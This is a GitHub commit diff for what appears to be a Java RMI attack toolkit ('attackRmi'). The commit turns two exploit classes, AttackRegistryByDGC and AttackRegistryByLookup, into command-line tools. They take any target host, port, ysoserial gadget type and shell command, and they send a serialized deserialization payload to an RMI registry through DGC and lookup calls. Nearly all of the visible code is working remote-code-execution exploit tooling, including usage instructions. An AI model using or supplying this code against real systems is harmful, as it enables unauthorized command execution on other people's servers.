-
Notifications
You must be signed in to change notification settings - Fork 13
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
10 changed files
with
294 additions
and
31 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
Manifest-Version: 1.0 | ||
Main-Class: com.wu.attackRmi.Main | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
package com.wu.attackRmi.Exploit; | ||
|
||
public class Attack { | ||
public static void main(String[] args) { | ||
|
||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,17 +1,41 @@ | ||
package com.wu.attackRmi.Exploit; | ||
|
||
import com.wu.attackRmi.utils.Stub; | ||
import ysoserial.payloads.CommonsCollections5; | ||
import ysoserial.payloads.ObjectPayload; | ||
|
||
import java.rmi.server.ObjID; | ||
|
||
|
||
public class AttackRegistryByDGC { | ||
|
||
public static void main(String[] args) throws Exception{ | ||
String host = "127.0.0.1"; | ||
int port = 1099; | ||
Object payloadObject = new CommonsCollections5().getObject("open /System/Applications/Calculator.app"); | ||
if (args.length != 4) { | ||
printUsage(); | ||
System.exit(64); | ||
} | ||
|
||
final String registryHost = args[0]; | ||
final int registryPort = Integer.parseInt(args[1]); | ||
final String payloadType = args[2]; | ||
final String command = args[3]; | ||
|
||
System.out.println("Attacking: "+ registryHost + ":" + registryPort); | ||
System.out.println("Payload: "+ payloadType); | ||
System.out.println("command: "+ command); | ||
|
||
final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); | ||
final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance(); | ||
final Object payloadObject = payload.getObject(command); | ||
attack(registryHost, registryPort, payloadObject); | ||
} | ||
|
||
public static void attack(String registryHost, int registryPort, Object payloadObject) throws Exception{ | ||
ObjID objID = new ObjID(2); | ||
Stub.exploit(host, port, payloadObject, objID, 0, -669196253586618813L); | ||
Stub.exploit(registryHost, registryPort, payloadObject, objID, 0, -669196253586618813L); | ||
} | ||
|
||
private static void printUsage() { | ||
System.err.println("AttackRegistryByDGC"); | ||
System.err.println("Usage: java -cp attackRmi.jar com.wu.attackRmi.Exploit.AttackRegistryByDGC [registryHost] [registryPort] [payload] '[command]'"); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,16 +1,39 @@ | ||
package com.wu.attackRmi.Exploit; | ||
|
||
import com.wu.attackRmi.utils.Stub; | ||
import ysoserial.payloads.CommonsCollections5; | ||
import ysoserial.payloads.ObjectPayload; | ||
|
||
import java.rmi.server.ObjID; | ||
|
||
public class AttackRegistryByLookup { | ||
public static void main(String[] args) throws Exception{ | ||
String host = "127.0.0.1"; | ||
int port = 1099; | ||
Object payloadObject = new CommonsCollections5().getObject("open /System/Applications/Calculator.app"); | ||
if (args.length != 4) { | ||
printUsage(); | ||
System.exit(64); | ||
} | ||
|
||
final String registryHost = args[0]; | ||
final int registryPort = Integer.parseInt(args[1]); | ||
final String payloadType = args[2]; | ||
final String command = args[3]; | ||
|
||
System.out.println("Attacking: "+ registryHost + ":" + registryPort); | ||
System.out.println("Payload: "+ payloadType); | ||
System.out.println("command: "+ command); | ||
|
||
final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); | ||
final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance(); | ||
final Object payloadObject = payload.getObject(command); | ||
attack(registryHost, registryPort, payloadObject); | ||
} | ||
|
||
public static void attack(String registryHost, int registryPort, Object payloadObject) throws Exception{ | ||
ObjID objID = new ObjID(0); | ||
Stub.exploit(host, port, payloadObject, objID, 2, 4905912898345647071L); | ||
Stub.exploit(registryHost, registryPort, payloadObject, objID, 2, 4905912898345647071L); | ||
} | ||
|
||
private static void printUsage() { | ||
System.err.println("AttackRegistryByLookup"); | ||
System.err.println("Usage: java -cp attackRmi.jar com.wu.attackRmi.Exploit.AttackRegistryByLookup [registryHost] [registryPort] [payload] '[command]'"); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.